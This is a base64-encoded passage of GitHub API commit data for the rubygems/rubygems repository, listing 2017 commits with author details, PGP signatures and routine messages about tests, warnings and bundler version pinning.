cFJxVmdUT25BcnNKTkFSeWRhZXVZZlQ4NDVnMWprcVg0ZXYzNDZPdDlVY0RqUDV6TC9RMGtZY2RubVNSNTdcbi9WbDFRTFY5TTVPMklRVWVkMkxRdVByRGZwakg5TFNFejBlQjczV1lpTVUzZnc4UzArcWd0bWEzSHN5eXM3OFhcbkxqVmpBM1cvY05GVUFrVnJoSDMrT0JrRkRqVTZyVFV3VUFMNVYrRzk1K09KY1ViVGxKMXRmTzIrWTc1dDVhRldcbkFjUE04cmc5KzcxYjNxYXQ2MDRkVG10NFcwRFVDdkZlUktNaWlUQ0N5bVJSeGYyN1o5QmxMTnNEdUtCbDlPcnRcbmwraDBTeHp2SjFrZXk5dWZLZlRYQmlTZFNUZjdtRm1WUGZQa0VDSXd4d2hrMmhMS0g5Z2UxZ0N5REhvbk9neVVcbklweFFrRTF1ZmQzNjFzWGRINk02XG49WUhRTFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgMGUxMmFkYTFjZTdlNDBjYmQ0YWEyNzQzMGU0ZmMwMzFkOWQxMDcyMFxucGFyZW50IGU3ZTQxMGI5NTM0OTA0N2Q4ZjQyODgyZGQ3ZTIyZmY4MjQ5MjVlYzhcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzY3Mjg3NCAtMDQwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzNjcyODc0IC0wNDAwXG5cblVzZSBhc3NlcnRfbmlsIGluIHJlbW90ZSBmZXRjaGVyIHRlc3RzXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9hMmFjMmMwNDc0MTE3ODkyNGQ4ODIxNTczNGQzNGI3YTVkZjVkMWFhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2EyYWMyYzA0NzQxMTc4OTI0ZDg4MjE1NzM0ZDM0YjdhNWRmNWQxYWEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYTJhYzJjMDQ3NDExNzg5MjRkODgyMTU3MzRkMzRiN2E1ZGY1ZDFhYS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZTdlNDEwYjk1MzQ5MDQ3ZDhmNDI4ODJkZDdlMjJmZjgyNDkyNWVjOCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lN2U0MTBiOTUzNDkwNDdkOGY0Mjg4MmRkN2UyMmZmODI0OTI1ZWM4IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2U3ZTQxMGI5NTM0OTA0N2Q4ZjQyODgyZGQ3ZTIyZmY4MjQ5MjVlYzgifV19LHsic2hhIjoiZTdlNDEwYjk1MzQ5MDQ3ZDhmNDI4ODJkZDdlMjJmZjgyNDkyNWVjOCIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjVUMTQ6Mzk6NTBaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yNVQxNDozOTo1MFoifSwibWVzc2FnZSI6IkF2b2lkIDEuOS4zIHdhcm5pbmdzIiwidHJlZSI6eyJzaGEiOiJiMTJhMTExZTU0MTQ0NDdhMGQ0MDJmZjZjYWUzNDFlMjNiMDhkOTM5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYjEyYTExMWU1NDE0NDQ3YTBkNDAyZmY2Y2FlMzQxZTIzYjA4ZDkzOSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2U3ZTQxMGI5NTM0OTA0N2Q4ZjQyODgyZGQ3ZTIyZmY4MjQ5MjVlYzgiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpvRGEyQUFvSkVBRVpXN01WM2FoV2xKUVAvaXdqSm1CWkRlc1p4UmU1U212L1hnZ3Ncbkh0N0lrbWMvWVhRY1BnS2pCekZCMmZiUGQ5cDhDVUttMXBkRGZNK1NkcEFDUzJUS0p6V1lpVlFNWUY0YTBmWUlcbk41M0hLUFlINXNPV3E3RlRQMGRWcXVKWlBpYTdBczJKMUh5TlJVdUV2ank1anMweDBRMmZsbFVVaTJZQkNtb2Fcbk96OFhsRUFYKzVQaUR1ck9LNHNLbUszVUE5UU5WWldqK0I3cnV2SXdMQTR2Sjl6VEdLR0NYL3pyempPa2J6WVpcbmxzazhReFVxRmhOMUZ6SDVUbDBlaTRvU0JhMnlIRTBxTHN0QXh4L24wZVRubE1rSVNnTythYjhZVVJSUEZpR2FcbmdIVzR3UjhXMmZxT1ZHRGdMaWdyU3JzUDlQbUc1OXFyWU0xTWxIZ3MxdGJ5azJPRE56eVd6N29xY3VaTXZKS3NcbnpEUEI4WExRUkZLVHF1em1FTTV1WWI4MTRZMWdkM3ZmY0VKcFJIeVlrbUlCbi9LVk1KaDVEck5NYm1RN2QxNEFcbkFSUlduUWpsbGt5eXFVbFZ0ckJpUnUyV3grRnN1ZjJ6UjF2N0txc2MySDJNaUpYczhIWjA3Z3Q4azVFdUttZTVcbmdOQlFaVEg5aTczelVPbFA0aVdpRkFlTngzRDV5blRZUFJaQmFlbVhSQWo5aUhMazU0TFIzdHV6emtJMWpKM2NcbkpJZnJIWnVxemxwL01uc2hvdGxMNDRqNVo1MGdBMERWSzl2Um1uOFNKYTJxTys4akJaM05MZEpBc0QraTliM2JcbkkvR09TWlpOTEx5aWwwQ2xCb3drYkNwbFZFeXNEYjhaWVhzZVJ5V290RkRCdmt0eUlwSXY4U2Voajl0cERzS2lcbktvOXQxcFZtNC81WFowdDRSVUNSXG49alZUOVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgYjEyYTExMWU1NDE0NDQ3YTBkNDAyZmY2Y2FlMzQxZTIzYjA4ZDkzOVxucGFyZW50IDYzYTE3ZGViODQ2Y2UyMGY5MGU1ODdjNTg0NDk1ZTYzMmVkOTdkZGVcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzY3MTk5MCAtMDQwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzNjcxOTkwIC0wNDAwXG5cbkF2b2lkIDEuOS4zIHdhcm5pbmdzXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lN2U0MTBiOTUzNDkwNDdkOGY0Mjg4MmRkN2UyMmZmODI0OTI1ZWM4IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2U3ZTQxMGI5NTM0OTA0N2Q4ZjQyODgyZGQ3ZTIyZmY4MjQ5MjVlYzgiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTdlNDEwYjk1MzQ5MDQ3ZDhmNDI4ODJkZDdlMjJmZjgyNDkyNWVjOC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNjNhMTdkZWI4NDZjZTIwZjkwZTU4N2M1ODQ0OTVlNjMyZWQ5N2RkZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82M2ExN2RlYjg0NmNlMjBmOTBlNTg3YzU4NDQ5NWU2MzJlZDk3ZGRlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzYzYTE3ZGViODQ2Y2UyMGY5MGU1ODdjNTg0NDk1ZTYzMmVkOTdkZGUifV19LHsic2hhIjoiNjNhMTdkZWI4NDZjZTIwZjkwZTU4N2M1ODQ0OTVlNjMyZWQ5N2RkZSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjBUMjA6MTI6NDZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yMFQyMDoxMjo0NloifSwibWVzc2FnZSI6IlVwZGF0ZSBzcGVjcyBmb3IgYnVuZGxlciB2ZXJzaW9uIHBpbm5pbmcgbm90IGJlaW5nIHNwZWNpZmljIHVuZGVyIDIuMCIsInRyZWUiOnsic2hhIjoiZDlhMGRjMTQ5YzZkZWMyMTVmMjZlNTA3MWEwYzYwNTg4ZDlhZjVmNiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2Q5YTBkYzE0OWM2ZGVjMjE1ZjI2ZTUwNzFhMGM2MDU4OGQ5YWY1ZjYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82M2ExN2RlYjg0NmNlMjBmOTBlNTg3YzU4NDQ5NWU2MzJlZDk3ZGRlIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpabWUwK0FBb0pFQUVaVzdNVjNhaFdjeUVQL2luOVJBczVlS2RzTVZmSVkxK2ZBWi9OXG43NkVwV0N5NnU5Um5CMzdmN3Ztbzh2dFRNWkFRU00zUVFSZG51ajhqa2pXemtRY3NjR01idjB6TzRnZk05WVNPXG5OUXdPS0VWV1ZHNlhUZHZSSnJaa0w1MzY2ZXlZNGs1S1ZhdUVjRkwwVWlzeWlTMU41VDRXUEZqS3pPckFKZUVpXG5ORmV2MG1xcWU5TVRuaWlpSTRoSEpHMFl0Yk9xK2M2T085bG9qZExOTlBMZGIvMDVvcFBXM2R4amRMejU2Q2J6XG5IMk15cnFWQUxUdVVBZTJtVkVpcnhRY1ZrVFg4K2QweHdYQXlySHR1MVdpS1RpN1FiUEFDcnhXRGpET1BtN29EXG50RnpLaW52MHlaVENRTUFnNGZhSUxmOGZlZFpLSmRTWVViSm94cEoxSWwzWTM4WmRkZS8wRE1MdTZmd05OazdZXG5laXU3aVBWYi9mRFVjWXNMTXFsejRVdTVYai95dzJ2SVo3T0xPRUdNTUw0aEt1R3FESm5adkR3YlVsM1o1MlEyXG5TSDlub3JOejJlanJMMDlhbVBmekplTDMvak54RUtHUEhianpXaUhVc09jSHdZMDFzN0ZLTHpwdzkzQ21NZmJ4XG5qZHZpY1pmRHZRWFJJajdCaS9mZExNaGhwTVBxQjVpd3M3NkZGTlRJb2FpMEYvQ2FHSlpXaTJjWmR0a2srL1FSXG5kdHA4OWVmMkxxTS8vN1pmNWRhczRiZ1o0MlNjdjBRWUpoOWJrZHBtdjJKQzBseXJsNng0Y1dYSHNwdzlzWjVuXG5ISnVwN0N6SEw3SVVKUFZxNnIwWmpnaHp6OGdEbDhiUDBLalZqOUxjZml1LzRkTVJzTysvRUZnNnE3T01OYmp1XG5mb1FHN2R0S0RvUlczY2dGcURhSlxuPUhnbFJcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGQ5YTBkYzE0OWM2ZGVjMjE1ZjI2ZTUwNzFhMGM2MDU4OGQ5YWY1ZjZcbnBhcmVudCBlOWNiMzhkOGU5ZTZlZjM5NDIzZjc0NzQ1MzAzYjhhODZhMGVhZWNlXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDMyNTk5NjYgLTA0MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzI1OTk2NiAtMDQwMFxuXG5VcGRhdGUgc3BlY3MgZm9yIGJ1bmRsZXIgdmVyc2lvbiBwaW5uaW5nIG5vdCBiZWluZyBzcGVjaWZpYyB1bmRlciAyLjBcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYzYTE3ZGViODQ2Y2UyMGY5MGU1ODdjNTg0NDk1ZTYzMmVkOTdkZGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjNhMTdkZWI4NDZjZTIwZjkwZTU4N2M1ODQ0OTVlNjMyZWQ5N2RkZSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82M2ExN2RlYjg0NmNlMjBmOTBlNTg3YzU4NDQ5NWU2MzJlZDk3ZGRlL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJlOWNiMzhkOGU5ZTZlZjM5NDIzZjc0NzQ1MzAzYjhhODZhMGVhZWNlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U5Y2IzOGQ4ZTllNmVmMzk0MjNmNzQ3NDUzMDNiOGE4NmEwZWFlY2UiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZTljYjM4ZDhlOWU2ZWYzOTQyM2Y3NDc0NTMwM2I4YTg2YTBlYWVjZSJ9XX0seyJzaGEiOiJlOWNiMzhkOGU5ZTZlZjM5NDIzZjc0NzQ1MzAzYjhhODZhMGVhZWNlIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yMFQxOToxNjo0NFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQ